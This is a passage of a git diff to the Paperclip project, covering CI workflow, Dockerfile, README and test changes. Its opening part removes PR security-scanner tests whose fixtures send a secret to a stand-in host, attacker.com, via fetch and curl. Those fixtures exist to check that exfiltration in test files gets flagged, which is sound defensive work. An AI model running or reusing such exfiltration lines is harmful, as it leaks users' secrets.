'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.', - }, - }); -}); - -test('validateSensitivePaths: checks paths against the resolved base ref instead of master', async () => { - const seenPaths = []; - const stale = await validateSensitivePaths( - 'token', - 'paperclipai/paperclip', - 6469, - 'release/1.2', - async (path) => { - seenPaths.push(path); - return { ok: true }; - }, - ); - - assert.deepEqual(stale, []); - assert.ok(seenPaths.every(path => path.includes('ref=release%2F1.2'))); - assert.ok(!seenPaths.some(path => path.includes('ref=master'))); -}); - -test('validateSensitivePaths: returns only 404 paths and rethrows non-404 errors', async () => { - let seen404 = false; - const stale = await validateSensitivePaths( - 'token', - 'paperclipai/paperclip', - 6469, - 'main', - async (path) => { - if (!seen404) { - seen404 = true; - throw new Error('GitHub API GET /contents/foo → 404: missing'); - } - return { ok: true }; - }, - ); - - assert.equal(stale.length, 1); - - await assert.rejects( - validateSensitivePaths( - 'token', - 'paperclipai/paperclip', - 6469, - 'main', - async () => { - throw new Error('GitHub API GET /contents/foo → 500: boom'); - }, - ), - /500: boom/ - ); -}); - -// ── scanTestPatterns ───────────────────────────────────────────────────────── - -test('scanTestPatterns: flags outbound fetch in test file', () => { - const files = [{ - filename: 'src/foo.test.ts', - patch: `+ const res = await fetch('https://attacker.com/collect')`, - }]; - assert.ok(scanTestPatterns(files).length > 0); -}); - -test('scanTestPatterns: flags execSync in test file', () => { - const files = [{ - filename: 'src/foo.test.ts', - patch: `+ execSync('curl https://attacker.com?data=' + secret)`, - }]; - assert.ok(scanTestPatterns(files).length > 0); -}); - -test('scanTestPatterns: ignores suspicious patterns in non-test files', () => { - const files = [{ - filename: 'src/api.ts', - patch: `+ const res = await fetch('https://api.example.com')`, - }]; - assert.equal(scanTestPatterns(files).length, 0); -}); - -test('scanTestPatterns: flags suspicious patterns in __tests__ directories', () => { - const files = [{ - filename: 'src/__tests__/foo.ts', - patch: `+ execSync('curl https://attacker.com?data=' + secret)`, - }]; - assert.ok(scanTestPatterns(files).length > 0); -}); - -// ── scanSensitivePaths ─────────────────────────────────────────────────────── - -test('scanSensitivePaths: flags changes to agents route (API key IDOR / cross-tenant)', () => { - const files = [{ filename: 'server/src/routes/agents.ts', status: 'modified' }]; - assert.ok(scanSensitivePaths(files).length > 0); -}); - -test('scanSensitivePaths: flags changes to MarkdownBody (XSS via urlTransform)', () => { - const files = [{ filename: 'ui/src/components/MarkdownBody.tsx', status: 'modified' }]; - assert.ok(scanSensitivePaths(files).length > 0); -}); - -test('scanSensitivePaths: flags changes to company-skills route (malicious skill exfil)', () => { - const files = [{ filename: 'server/src/routes/company-skills.ts', status: 'modified' }]; - assert.ok(scanSensitivePaths(files).length > 0); -}); - -test('scanSensitivePaths: ignores unrelated paths', () => { - const files = [{ filename: 'server/src/utils/date.ts', status: 'modified' }]; - assert.equal(scanSensitivePaths(files).length, 0); -}); - -test('scanSensitivePaths: ignores removed files even on sensitive paths', () => { - const files = [{ filename: 'server/src/routes/agents.ts', status: 'removed' }]; - assert.equal(scanSensitivePaths(files).length, 0); -}); - -// ── startScriptWatchdog ────────────────────────────────────────────────────── - -test('startScriptWatchdog: fires exit(0) when the wall-clock budget is exceeded', async () => { - let exitCode = null; - const fakeExit = (code) => { exitCode = code; }; - startScriptWatchdog(20, fakeExit); - await new Promise((resolve) => setTimeout(resolve, 60)); - assert.equal(exitCode, 0, 'watchdog should have exited with code 0 by now'); -}); - -test('startScriptWatchdog: cleared timer never fires', async () => { - let exitCode = null; - const fakeExit = (code) => { exitCode = code; }; - const timer = startScriptWatchdog(20, fakeExit); - clearTimeout(timer); - await new Promise((resolve) => setTimeout(resolve, 60)); - assert.equal(exitCode, null, 'cleared watchdog must not call exit'); -}); - -// ── ghFetch timeout ────────────────────────────────────────────────────────── - -test('ghFetch: aborts the request when the per-call timeout elapses', async () => { - const originalFetch = globalThis.fetch; - // Replace global fetch with one that respects the AbortSignal but never resolves on its own. - globalThis.fetch = (_url, init) => new Promise((_resolve, reject) => { - init?.signal?.addEventListener('abort', () => { - const err = new Error('aborted'); - err.name = 'AbortError'; - reject(err); - }, { once: true }); - }); - - try { - const start = Date.now(); - await assert.rejects( - ghFetch('/repos/example/example/security-advisories', 'token', { timeoutMs: 30 }), - /aborted|abort/i, - ); - const elapsed = Date.now() - start; - assert.ok(elapsed < 500, `ghFetch should abort within the timeout, took ${elapsed}ms`); - } finally { - globalThis.fetch = originalFetch; - } -}); diff --git a/.github/workflows/commitperclip-review.yml b/.github/workflows/commitperclip-review.yml index 6b712277294..4078244d794 100644 --- a/.github/workflows/commitperclip-review.yml +++ b/.github/workflows/commitperclip-review.yml @@ -9,7 +9,6 @@ on: permissions: pull-requests: write - security-events: write checks: write contents: read @@ -32,7 +31,7 @@ jobs: - name: Set up Node uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 with: - node-version: '20' + node-version: '24' - name: Generate commitperclip token id: token @@ -55,16 +54,6 @@ jobs: PR_AUTHOR: ${{ github.event.pull_request.user.login }} PR_BRANCH: ${{ github.event.pull_request.head.ref }} - - name: Run security gates - run: node .github/scripts/check-pr-security.mjs - continue-on-error: true - timeout-minutes: 3 - env: - GH_TOKEN: ${{ steps.token.outputs.value }} - GH_REPO: ${{ github.repository }} - PR_NUMBER: ${{ github.event.pull_request.number }} - PR_AUTHOR: ${{ github.event.pull_request.user.login }} - - name: Fail if quality gates failed if: >- github.event.pull_request.user.login != 'dependabot[bot]' && diff --git a/.github/workflows/docker.yml b/.github/workflows/docker.yml index 2e41dd7657b..549595dbe38 100644 --- a/.github/workflows/docker.yml +++ b/.github/workflows/docker.yml @@ -82,7 +82,7 @@ jobs: - name: Setup Node.js uses: actions/setup-node@v7 with: - node-version: 20 + node-version: 24 - name: Refresh lockfile for Docker build context run: | @@ -257,7 +257,7 @@ jobs: - name: Setup Node.js uses: actions/setup-node@v7 with: - node-version: 20 + node-version: 24 - name: Refresh lockfile for Docker build context run: | diff --git a/.github/workflows/e2e.yml b/.github/workflows/e2e.yml index 68042c04963..1b5159a0726 100644 --- a/.github/workflows/e2e.yml +++ b/.github/workflows/e2e.yml @@ -24,7 +24,7 @@ jobs: - uses: actions/setup-node@v7 with: - node-version: 20 + node-version: 24 cache: pnpm - run: pnpm install --frozen-lockfile diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 925c520ba45..b1f41389593 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -49,11 +49,16 @@ jobs: - name: Validate Dockerfile deps stage run: node ./scripts/check-docker-deps-stage.mjs + - name: Validate Node version policy + run: pnpm check:node-version + - name: Reject git push in adapter/runtime code run: node ./scripts/check-no-git-push.mjs - name: Test no-git-push check run: node --test ./scripts/check-no-git-push.test.mjs + - name: Test PR quality-gate scripts + run: node --test '.github/scripts/tests/*.test.mjs' - name: Test general-server shard partition run: node --test ./scripts/__tests__/run-vitest-stable-shard.test.mjs @@ -287,9 +292,11 @@ jobs: fail-fast: false matrix: include: - # A successful PR run on 2026-08-04 (30876682788) spent 256s in - # serialized shard 2/4, making its 305s job the run's slowest check. - # Five shards reduce the measured 739s suite total to about 148s per + # A successful PR run on 2026-08-17 (32012408876) spent 291s in + # serialized shard 1/5 while its siblings ran 170-201s: round-robin + # clustered the heavy suites on one runner. Shards are now balanced + # by recorded duration (scripts/serialized-shard-durations.json), + # which levels the measured 968s suite total to about 194s per # runner before setup overhead. - shard_index: 0 shard_count: 5 diff --git a/.github/workflows/refresh-lockfile.yml b/.github/workflows/refresh-lockfile.yml index 06546bbb735..49ac2176e7f 100644 --- a/.github/workflows/refresh-lockfile.yml +++ b/.github/workflows/refresh-lockfile.yml @@ -31,7 +31,7 @@ jobs: - name: Setup Node.js uses: actions/setup-node@v7 with: - node-version: 20 + node-version: 24 cache: pnpm - name: Refresh pnpm lockfile diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 931694db1bc..29abc996c5c 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -49,6 +49,20 @@ concurrency: group: release-${{ github.event_name }}-${{ github.ref }} cancel-in-progress: false +env: + # npm accepts a publish immediately, but the registry's CDN can lag packument + # propagation by several minutes (observed 2.5-4+ minutes on 2026-08-21, + # which failed four consecutive canary runs mid-loop). Give release.sh's + # post-publish visibility poll a 10-minute budget per package instead of its + # 60-second default; a healthy publish still exits the poll on the first + # visible check. (A 5-minute budget missed by seconds on 2026-08-21: + # adapter-opencode-local was accepted at 07:02:27 and became visible at + # 07:07:40.) The publish jobs' timeout-minutes are sized for several + # laggard packages; if most of a batch lags the full budget, npm is having + # a real incident and the job failing is correct. + NPM_PUBLISH_VERIFY_ATTEMPTS: "60" + NPM_PUBLISH_VERIFY_DELAY_SECONDS: "10" + jobs: verify_canary: if: github.event_name == 'push' @@ -60,7 +74,7 @@ jobs: if: github.event_name == 'push' needs: verify_canary runs-on: ubuntu-latest - timeout-minutes: 45 + timeout-minutes: 90 environment: npm-canary permissions: contents: write @@ -236,7 +250,7 @@ jobs: (needs.smoke_nightly.result == 'success' || (needs.smoke_nightly.result == 'skipped' && github.event_name == 'workflow_dispatch' && inputs.dry_run)) runs-on: ubuntu-latest - timeout-minutes: 45 + timeout-minutes: 90 environment: npm-canary # The workflow-level concurrency group is per event, so a forced dispatch # nightly could otherwise overlap the scheduled one and race it to the @@ -502,7 +516,7 @@ jobs: (needs.verify_beta_candidate.result == 'success' || (needs.verify_beta_candidate.result == 'skipped' && needs.select_beta.outputs.mode == 'promote')) runs-on: ubuntu-latest - timeout-minutes: 45 + timeout-minutes: 90 environment: npm-beta # Serialize beta publishes so two dispatches cannot race to the same next # -beta.N version; release.sh additionally refuses to double-publish a @@ -621,11 +635,79 @@ jobs: } >> "$GITHUB_STEP_SUMMARY" gh workflow run docker.yml --ref "refs/tags/${tag}" --repo "$GITHUB_REPOSITORY" + # Draft the eventual stable's release notes the moment the beta exists: + # the promoted bits are frozen now, and the 3-day soak is the natural + # review window. The draft lands on a machine-owned branch; a human opens + # and merges the PR, because a PR created with GITHUB_TOKEN would not + # trigger the pr.yml checks a merge requires. + draft_stable_notes: + needs: [select_beta, publish_beta] + if: ${{ !cancelled() && !inputs.dry_run && needs.publish_beta.result == 'success' }} + runs-on: ubuntu-latest + timeout-minutes: 10 + permissions: + contents: write + steps: + - name: Checkout repository + uses: actions/checkout@v7 + with: + ref: master + fetch-depth: 0 + + - name: Configure git author + run: | + git config user.name "github-actions[bot]" + git config user.email "41898282+github-actions[bot]@users.noreply.github.com" + + - name: Draft stable notes from the published beta + env: + BETA_VERSION: ${{ needs.publish_beta.outputs.beta_version }} + SOURCE_SHA: ${{ needs.select_beta.outputs.sha }} + run: | + set -euo pipefail + git fetch origin --tags --quiet + # A rejected beta tag push (the workflows-permission case) leaves + # the tag absent from origin while npm already has the beta; + # recreate it locally so drafting does not block on the manual + # tag recovery. + if ! git rev-parse --verify "refs/tags/beta/v${BETA_VERSION}" >/dev/null 2>&1; then + git tag "beta/v${BETA_VERSION}" "${SOURCE_SHA}" + fi + ./scripts/draft-stable-notes.sh "${BETA_VERSION}" + + - name: Push the draft branch + env: + BETA_VERSION: ${{ needs.publish_beta.outputs.beta_version }} + run: | + set -euo pipefail + branch="release-notes/v${BETA_VERSION}" + git checkout -B "$branch" + git add "releases/beta/v${BETA_VERSION}.md" + git commit -m "docs(release): draft stable notes for beta ${BETA_VERSION}" + # Machine-owned branch: force push so a re-run regenerates cleanly. + git push -f origin "$branch" + { + echo "## Stable notes draft pushed" + echo "" + echo "- Branch: \`${branch}\`" + echo "- Open the PR (a human opens it so CI runs):" + echo " https://github.com/${GITHUB_REPOSITORY}/compare/master...${branch}?expand=1" + echo "- Edit it during the soak. The stable promotion reads" + echo " \`releases/beta/v${BETA_VERSION}.md\` from master." + } >> "$GITHUB_STEP_SUMMARY" + # Post-publish verification: run the release smoke suite against the exact # beta version that was just published. + # + # The condition must carry an explicit status-check function: without one, + # GitHub attaches an implicit success(), which evaluates the needs chain + # transitively — and publish_beta's chain contains verify_beta_candidate, + # which is skipped on every promote-mode beta. The implicit form silently + # skipped this job on the first promote-mode beta after the candidate + # lane landed. smoke_beta: needs: publish_beta - if: ${{ !inputs.dry_run }} + if: ${{ !cancelled() && needs.publish_beta.result == 'success' && !inputs.dry_run }} uses: ./.github/workflows/release-smoke.yml with: paperclip_version: ${{ needs.publish_beta.outputs.beta_version }} @@ -649,6 +731,11 @@ jobs: contents: read outputs: sha: ${{ steps.soak.outputs.sha }} + beta_version: ${{ steps.soak.outputs.beta_version }} + stable_version: ${{ steps.notes.outputs.stable_version }} + notes_mode: ${{ steps.notes.outputs.notes_mode }} + notes_path: ${{ steps.notes.outputs.notes_path }} + notes_ref: ${{ steps.notes.outputs.notes_ref }} steps: - name: Checkout repository uses: actions/checkout@v7 @@ -717,6 +804,7 @@ jobs: fi beta_version="${beta_tag#beta/v}" + echo "beta_version=${beta_version}" >> "$GITHUB_OUTPUT" publish_time="$(npm view "paperclipai@${beta_version}" time --json 2>/dev/null \ | node -e 'let d="";process.stdin.on("data",c=>d+=c).on("end",()=>{const t=JSON.parse(d);process.stdout.write(typeof t === "string" ? t : (t[process.argv[1]] ?? ""))})' "$beta_version" || true)" if [ -z "$publish_time" ]; then @@ -740,6 +828,58 @@ jobs: echo "- Soak time: ${age_days} days" } >> "$GITHUB_STEP_SUMMARY" + # The stable notes need not exist inside the promoted source commit: + # a promoted beta's notes are drafted on master (releases/beta/v*.md) + # at beta-publish time and edited during the soak. Resolve which copy + # publish_stable should read, and fail early — before the npm-stable + # approval gate — when none exists. Notes inside the source tree + # (the candidate fix path) take precedence. + - name: Resolve stable release notes + id: notes + env: + SHA: ${{ steps.soak.outputs.sha }} + BETA_VERSION: ${{ steps.soak.outputs.beta_version }} + STABLE_DATE: ${{ inputs.stable_date }} + DRY_RUN: ${{ inputs.dry_run }} + run: | + set -euo pipefail + + # Pin the master revision the notes were resolved at, so the + # publish and canonicalization steps read the same content even + # when master advances during the approval delay. + echo "notes_ref=$(git rev-parse HEAD)" >> "$GITHUB_OUTPUT" + + args=(stable --print-version) + if [ -n "${STABLE_DATE}" ]; then + args+=(--date "${STABLE_DATE}") + fi + version="$(./scripts/release.sh "${args[@]}")" + echo "stable_version=${version}" >> "$GITHUB_OUTPUT" + + if git cat-file -e "${SHA}:releases/v${version}.md" 2>/dev/null; then + echo "notes_mode=source_tree" >> "$GITHUB_OUTPUT" + echo "notes_path=releases/v${version}.md" >> "$GITHUB_OUTPUT" + echo "- Stable notes: \`releases/v${version}.md\` at the source commit" >> "$GITHUB_STEP_SUMMARY" + exit 0 + fi + + if [ -n "${BETA_VERSION}" ] && [ -f "releases/beta/v${BETA_VERSION}.md" ]; then + echo "notes_mode=master_beta" >> "$GITHUB_OUTPUT" + echo "notes_path=releases/beta/v${BETA_VERSION}.md" >> "$GITHUB_OUTPUT" + echo "- Stable notes: \`releases/beta/v${BETA_VERSION}.md\` on master" >> "$GITHUB_STEP_SUMMARY" + exit 0 + fi + + msg="no release notes found for stable ${version}: neither releases/v${version}.md at the source commit nor releases/beta/v${BETA_VERSION:-}.md on master. Merge the notes PR from the beta's draft branch (release-notes/v), or add the file to the source ref." + if [ "${DRY_RUN}" = "true" ]; then + echo "::warning::${msg}" + echo "- Stable notes: MISSING (a real release would be blocked)" >> "$GITHUB_STEP_SUMMARY" + echo "notes_mode=missing" >> "$GITHUB_OUTPUT" + exit 0 + fi + echo "::error::${msg}" + exit 1 + verify_stable: if: github.event_name == 'workflow_dispatch' && inputs.channel == 'stable' needs: preflight_stable @@ -793,12 +933,14 @@ jobs: if: github.event_name == 'workflow_dispatch' && inputs.channel == 'stable' && !inputs.dry_run needs: [preflight_stable, verify_stable] runs-on: ubuntu-latest - timeout-minutes: 45 + timeout-minutes: 90 environment: npm-stable permissions: contents: write id-token: write actions: write + outputs: + stable_version: ${{ steps.tag.outputs.version }} steps: - name: Checkout repository @@ -829,6 +971,22 @@ jobs: git config user.name "github-actions[bot]" git config user.email "41898282+github-actions[bot]@users.noreply.github.com" + # A promoted beta's notes live on master (drafted at beta publish, + # edited during the soak), not inside the promoted source commit — a + # commit cannot carry a file named for a promotion date that was + # unknown when it was created. Materialize them outside the worktree + # so release.sh still runs against a clean source checkout. + - name: Materialize stable release notes from master + if: needs.preflight_stable.outputs.notes_mode == 'master_beta' + env: + NOTES_REF: ${{ needs.preflight_stable.outputs.notes_ref }} + NOTES_PATH: ${{ needs.preflight_stable.outputs.notes_path }} + run: | + set -euo pipefail + git fetch origin master --quiet + git show "${NOTES_REF}:${NOTES_PATH}" > "$RUNNER_TEMP/stable-notes.md" + echo "STABLE_NOTES_FILE=$RUNNER_TEMP/stable-notes.md" >> "$GITHUB_ENV" + - name: Publish stable env: GITHUB_ACTIONS: "true" @@ -837,6 +995,9 @@ jobs: if [ -n "${{ inputs.stable_date }}" ]; then args+=(--date "${{ inputs.stable_date }}") fi + if [ -n "${STABLE_NOTES_FILE:-}" ]; then + args+=(--notes-file "$STABLE_NOTES_FILE") + fi ./scripts/release.sh "${args[@]}" - name: Dump npm debug logs @@ -850,12 +1011,14 @@ jobs: done - name: Push stable tag + id: tag run: | tag="$(git tag --points-at HEAD | grep '^v' | head -1)" if [ -z "$tag" ]; then echo "Error: no stable tag points at HEAD after release." >&2 exit 1 fi + echo "version=${tag#v}" >> "$GITHUB_OUTPUT" if ! git push origin "refs/tags/${tag}"; then sha="$(git rev-parse HEAD)" { @@ -906,4 +1069,59 @@ jobs: echo "Error: no v* tag points at HEAD after stable release." >&2 exit 1 fi - ./scripts/create-github-release.sh "$version" + args=("$version") + if [ -n "${STABLE_NOTES_FILE:-}" ]; then + args+=(--notes-file "$STABLE_NOTES_FILE") + fi + ./scripts/create-github-release.sh "${args[@]}" + + # After a stable ships from master-side beta notes, move the file to its + # canonical home (releases/vYYYY.MDD.P.md) so the stable-notes invariant + # holds durably. Machine-owned branch + human-opened PR, as with the + # draft job above. + canonicalize_stable_notes: + needs: [preflight_stable, publish_stable] + if: ${{ needs.preflight_stable.outputs.notes_mode == 'master_beta' && needs.publish_stable.result == 'success' }} + runs-on: ubuntu-latest + timeout-minutes: 10 + permissions: + contents: write + steps: + - name: Checkout repository + uses: actions/checkout@v7 + with: + ref: master + fetch-depth: 0 + + - name: Configure git author + run: | + git config user.name "github-actions[bot]" + git config user.email "41898282+github-actions[bot]@users.noreply.github.com" + + - name: Push the canonicalization branch + env: + STABLE_VERSION: ${{ needs.publish_stable.outputs.stable_version }} + NOTES_PATH: ${{ needs.preflight_stable.outputs.notes_path }} + NOTES_REF: ${{ needs.preflight_stable.outputs.notes_ref }} + run: | + set -euo pipefail + branch="release-notes/v${STABLE_VERSION}-canonicalize" + git checkout -B "$branch" + # Canonicalize exactly what shipped: take the notes at the pinned + # revision the release read them from, so a master edit made + # during the run surfaces as a reviewable diff in this PR instead + # of silently diverging from the published GitHub Release. + git show "${NOTES_REF}:${NOTES_PATH}" > "releases/v${STABLE_VERSION}.md" + git add "releases/v${STABLE_VERSION}.md" + if git ls-files --error-unmatch "${NOTES_PATH}" >/dev/null 2>&1; then + git rm -q "${NOTES_PATH}" + fi + git commit -m "docs(release): canonicalize stable notes for v${STABLE_VERSION}" + git push -f origin "$branch" + { + echo "## Stable notes canonicalization pushed" + echo "" + echo "- Branch: \`${branch}\`" + echo "- Open and merge the PR (a human opens it so CI runs):" + echo " https://github.com/${GITHUB_REPOSITORY}/compare/master...${branch}?expand=1" + } >> "$GITHUB_STEP_SUMMARY" diff --git a/.nvmrc b/.nvmrc new file mode 100644 index 00000000000..a45fd52cc58 --- /dev/null +++ b/.nvmrc @@ -0,0 +1 @@ +24 diff --git a/Dockerfile b/Dockerfile index 2769078b668..c41520df329 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,5 +1,5 @@ # syntax=docker/dockerfile:1.20 -FROM node:lts-trixie-slim AS base +FROM node:24-trixie-slim AS base ARG USER_UID=1000 ARG USER_GID=1000 RUN apt-get update \ @@ -25,6 +25,7 @@ COPY packages/google-sheets-mcp-server/package.json packages/google-sheets-mcp-s COPY packages/kv-demo-mcp-server/package.json packages/kv-demo-mcp-server/ COPY packages/mcp-server/package.json packages/mcp-server/ COPY packages/skills-catalog/package.json packages/skills-catalog/ +COPY packages/tailscale-https-broker/package.json packages/tailscale-https-broker/ COPY packages/teams-catalog/package.json packages/teams-catalog/ COPY packages/adapters/claude-local/package.json packages/adapters/claude-local/ COPY packages/adapters/codex-local/package.json packages/adapters/codex-local/ @@ -32,6 +33,7 @@ COPY packages/adapters/cursor-cloud/package.json packages/adapters/cursor-cloud/ COPY packages/adapters/cursor-local/package.json packages/adapters/cursor-local/ COPY packages/adapters/gemini-local/package.json packages/adapters/gemini-local/ COPY packages/adapters/grok-local/package.json packages/adapters/grok-local/ +COPY packages/adapters/kimi-local/package.json packages/adapters/kimi-local/ COPY packages/adapters/hermes/package.json packages/adapters/hermes/ COPY packages/adapters/hermes-gateway/package.json packages/adapters/hermes-gateway/ COPY packages/adapters/openclaw-gateway/package.json packages/adapters/openclaw-gateway/ @@ -53,6 +55,14 @@ COPY --from=deps /app /app COPY . . RUN pnpm --filter @paperclipai/ui build RUN pnpm --filter @paperclipai/plugin-sdk build +# The server build runs scripts/write-build-stamp.mjs, which stamps the built +# commit into dist/build-info.json. The build context has no .git, so the +# script reads PAPERCLIP_BUILD_COMMIT instead. Docker exposes an ARG to the +# next RUN as an environment variable, so declare it here — in the build +# stage — before the server build. The production stage below declares the +# same ARG again for the runtime fallback; an ARG goes out of scope at the +# end of its stage. Empty for local `docker build`, which then writes no stamp. +ARG PAPERCLIP_BUILD_COMMIT="" RUN pnpm --filter @paperclipai/server build RUN test -f server/dist/index.js || (echo "ERROR: server build output missing" && exit 1) @@ -77,7 +87,7 @@ WORKDIR /app # (the single most expensive layer: four CLI toolchains + apt, per arch) can # never hit the layer cache and rebuilds on every build. RUN echo "cli-tools-epoch: ${CLI_TOOLS_CACHE_EPOCH}" \ - && npm install --global --omit=dev @anthropic-ai/claude-code@latest @openai/codex@latest opencode-ai @google/gemini-cli@latest \ + && npm install --global --omit=dev @anthropic-ai/claude-code@latest @openai/codex@latest opencode-ai @google/gemini-cli@latest @moonshot-ai/kimi-code@latest \ && apt-get update \ && apt-get install -y --no-install-recommends openssh-client jq \ && rm -rf /var/lib/apt/lists/* \ diff --git a/README.md b/README.md index 53a7291c46e..5f19d11df6b 100644 --- a/README.md +++ b/README.md @@ -311,7 +311,7 @@ fi bash install.sh ``` -The installer ensures Node.js 20 or newer is available, installs a managed +The installer ensures Node.js 24.11 or newer is available, installs a managed Paperclip CLI under `~/.paperclip/cli`, and starts interactive onboarding. It can also install Paperclip as a background service on supported Linux and macOS systems. The checksum detects transfer or publishing mistakes, but it is @@ -376,7 +376,7 @@ pnpm dev This starts the API server at `http://localhost:3100`. An embedded PostgreSQL database is created automatically — no setup required. -> **Requirements:** Node.js 20+, pnpm 9.15+ +> **Requirements:** Node.js 24.11+, pnpm 9.15+
diff --git a/cli/README.md b/cli/README.md index a32a6c5611b..5817e6b6fdf 100644 --- a/cli/README.md +++ b/cli/README.md @@ -305,7 +305,7 @@ pnpm dev This starts the API server at `http://localhost:3100`. An embedded PostgreSQL database is created automatically — no setup required. -> **Requirements:** Node.js 20+, pnpm 9.15+ +> **Requirements:** Node.js 24.11+, pnpm 9.15+
diff --git a/cli/esbuild.config.mjs b/cli/esbuild.config.mjs index 3432ef5bf49..fee12f51fbc 100644 --- a/cli/esbuild.config.mjs +++ b/cli/esbuild.config.mjs @@ -70,7 +70,7 @@ export default { entryPoints: ["src/index.ts"], bundle: true, platform: "node", - target: "node20", + target: "node24", format: "esm", outfile: "dist/index.js", banner: { js: "#!/usr/bin/env node" }, diff --git a/cli/package.json b/cli/package.json index 95cb206c4fe..4113ed4d45e 100644 --- a/cli/package.json +++ b/cli/package.json @@ -36,13 +36,14 @@ "typecheck": "tsc --noEmit" }, "dependencies": { - "@clack/prompts": "^0.11.0", + "@clack/prompts": "^1.7.0", "@paperclipai/adapter-claude-local": "workspace:*", "@paperclipai/adapter-codex-local": "workspace:*", "@paperclipai/adapter-cursor-cloud": "workspace:*", "@paperclipai/adapter-cursor-local": "workspace:*", "@paperclipai/adapter-gemini-local": "workspace:*", "@paperclipai/adapter-grok-local": "workspace:*", + "@paperclipai/adapter-kimi-local": "workspace:*", "@paperclipai/adapter-opencode-local": "workspace:*", "@paperclipai/adapter-pi-local": "workspace:*", "@paperclipai/adapter-openclaw-gateway": "workspace:*", @@ -58,8 +59,11 @@ "picocolors": "^1.1.1" }, "devDependencies": { - "@types/node": "^22.20.1", - "tsx": "^4.23.1", + "@types/node": "^24.0.0", + "tsx": "^4.23.12", "typescript": "^5.7.3" + }, + "engines": { + "node": ">=24.11.0" } } diff --git a/cli/src/__tests__/database-check.test.ts b/cli/src/__tests__/database-check.test.ts new file mode 100644 index 00000000000..51c42cf7717 --- /dev/null +++ b/cli/src/__tests__/database-check.test.ts @@ -0,0 +1,79 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, describe, expect, it, vi } from "vitest"; +import { databaseCheck } from "../checks/database-check.js"; +import type { PaperclipConfig } from "../config/schema.js"; + +const created: string[] = []; +const ORIGINAL_IN_WORKTREE = process.env.PAPERCLIP_IN_WORKTREE; + +function makeBase(): string { + const base = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-dbcheck-")); + created.push(base); + return base; +} + +function embeddedConfig(dataDir: string): PaperclipConfig { + return { + database: { + mode: "embedded-postgres", + embeddedPostgresDataDir: dataDir, + embeddedPostgresPort: 54321, + }, + } as unknown as PaperclipConfig; +} + +afterEach(() => { + vi.restoreAllMocks(); + if (ORIGINAL_IN_WORKTREE === undefined) delete process.env.PAPERCLIP_IN_WORKTREE; + else process.env.PAPERCLIP_IN_WORKTREE = ORIGINAL_IN_WORKTREE; + while (created.length > 0) { + const dir = created.pop(); + if (dir) fs.rmSync(dir, { recursive: true, force: true }); + } +}); + +describe("databaseCheck — embedded postgres temp-dir guard", () => { + it("passes when the data dir is on persistent (non-temp) storage", async () => { + const base = makeBase(); + // Treat a sibling dir as the OS temp root so the persistent dir is outside it. + vi.spyOn(os, "tmpdir").mockReturnValue(path.join(base, "fake-tmp")); + process.env.PAPERCLIP_IN_WORKTREE = "true"; + const persistentDataDir = path.join(base, "persistent", "instances", "default", "db"); + + const result = await databaseCheck(embeddedConfig(persistentDataDir), path.join(base, "config.json")); + + expect(result.status).toBe("pass"); + expect(result.message).toContain("Embedded PostgreSQL configured at"); + }); + + it("warns when a worktree-mode data dir lives inside the OS temp directory", async () => { + const base = makeBase(); + const fakeTmp = path.join(base, "fake-tmp"); + vi.spyOn(os, "tmpdir").mockReturnValue(fakeTmp); + process.env.PAPERCLIP_IN_WORKTREE = "true"; + const tmpDataDir = path.join(fakeTmp, "instances", "default", "db"); + + const result = await databaseCheck(embeddedConfig(tmpDataDir), path.join(base, "config.json")); + + expect(result.status).toBe("warn"); + expect(result.message).toMatch(/temp directory/i); + expect(result.message).toMatch(/ephemeral/i); + expect(result.repairHint).toContain("PAPERCLIP_HOME"); + // Must warn BEFORE creating anything — don't bootstrap the throwaway temp dir. + expect(fs.existsSync(tmpDataDir)).toBe(false); + }); + + it("does NOT warn for a temp data dir when not in worktree mode (intentional ephemeral/CI use)", async () => { + const base = makeBase(); + const fakeTmp = path.join(base, "fake-tmp"); + vi.spyOn(os, "tmpdir").mockReturnValue(fakeTmp); + delete process.env.PAPERCLIP_IN_WORKTREE; + const tmpDataDir = path.join(fakeTmp, "instances", "default", "db"); + + const result = await databaseCheck(embeddedConfig(tmpDataDir), path.join(base, "config.json")); + + expect(result.status).toBe("pass"); + }); +}); diff --git a/cli/src/__tests__/env-lab.test.ts b/cli/src/__tests__/env-lab.test.ts index 02d6d7daf18..144311a3511 100644 --- a/cli/src/__tests__/env-lab.test.ts +++ b/cli/src/__tests__/env-lab.test.ts @@ -1,6 +1,13 @@ import path from "node:path"; -import { describe, expect, it } from "vitest"; -import { collectEnvLabDoctorStatus, resolveEnvLabSshStatePath } from "../commands/env-lab.js"; +import { afterEach, describe, expect, it, vi } from "vitest"; +import * as p from "@clack/prompts"; +import { + buildEnvLabCleanupCommand, + collectEnvLabDoctorStatus, + envLabDoctorCommand, + resolveEnvLabCliInvocation, + resolveEnvLabSshStatePath, +} from "../commands/env-lab.js"; describe("env-lab command", () => { it("resolves the default SSH fixture state path under the instance root", () => { @@ -22,3 +29,259 @@ describe("env-lab command", () => { expect(status.ssh.environment).toBeNull(); }); }); + +describe("env-lab cleanup command hint", () => { + const originalCwd = process.cwd(); + + afterEach(() => { + process.chdir(originalCwd); + }); + + // Resolve a source-checkout invocation for a fabricated checkout root. A source + // checkout runs this module from `/src/commands/env-lab.ts`, so the + // resolver reads that layout and returns the tsx runner and source entry. + function sourceInvocation(root: string) { + return resolveEnvLabCliInvocation(path.join(root, "src", "commands", "env-lab.ts")); + } + + // Resolve a bundled-build invocation for a fabricated package root. The bundled + // build runs this module from `/dist/index.js`, so the resolver returns + // that file as the entry with no tsx runner. + function bundledInvocation(root: string) { + return resolveEnvLabCliInvocation(path.join(root, "dist", "index.js")); + } + + // Split a command that uses POSIX single-quoting into its argument tokens. The + // parser reads a single-quoted span verbatim and reads `\'` outside a span as a + // literal single quote. This is the same rule a POSIX shell obeys, so a token + // list proves the shell reads the exact paths and runs no embedded command. + function tokenizePosix(command: string): string[] { + const tokens: string[] = []; + let current = ""; + let started = false; + let inQuotes = false; + for (let index = 0; index < command.length; index += 1) { + const character = command[index]; + if (inQuotes) { + if (character === "'") { + inQuotes = false; + } else { + current += character; + } + } else if (character === "'") { + 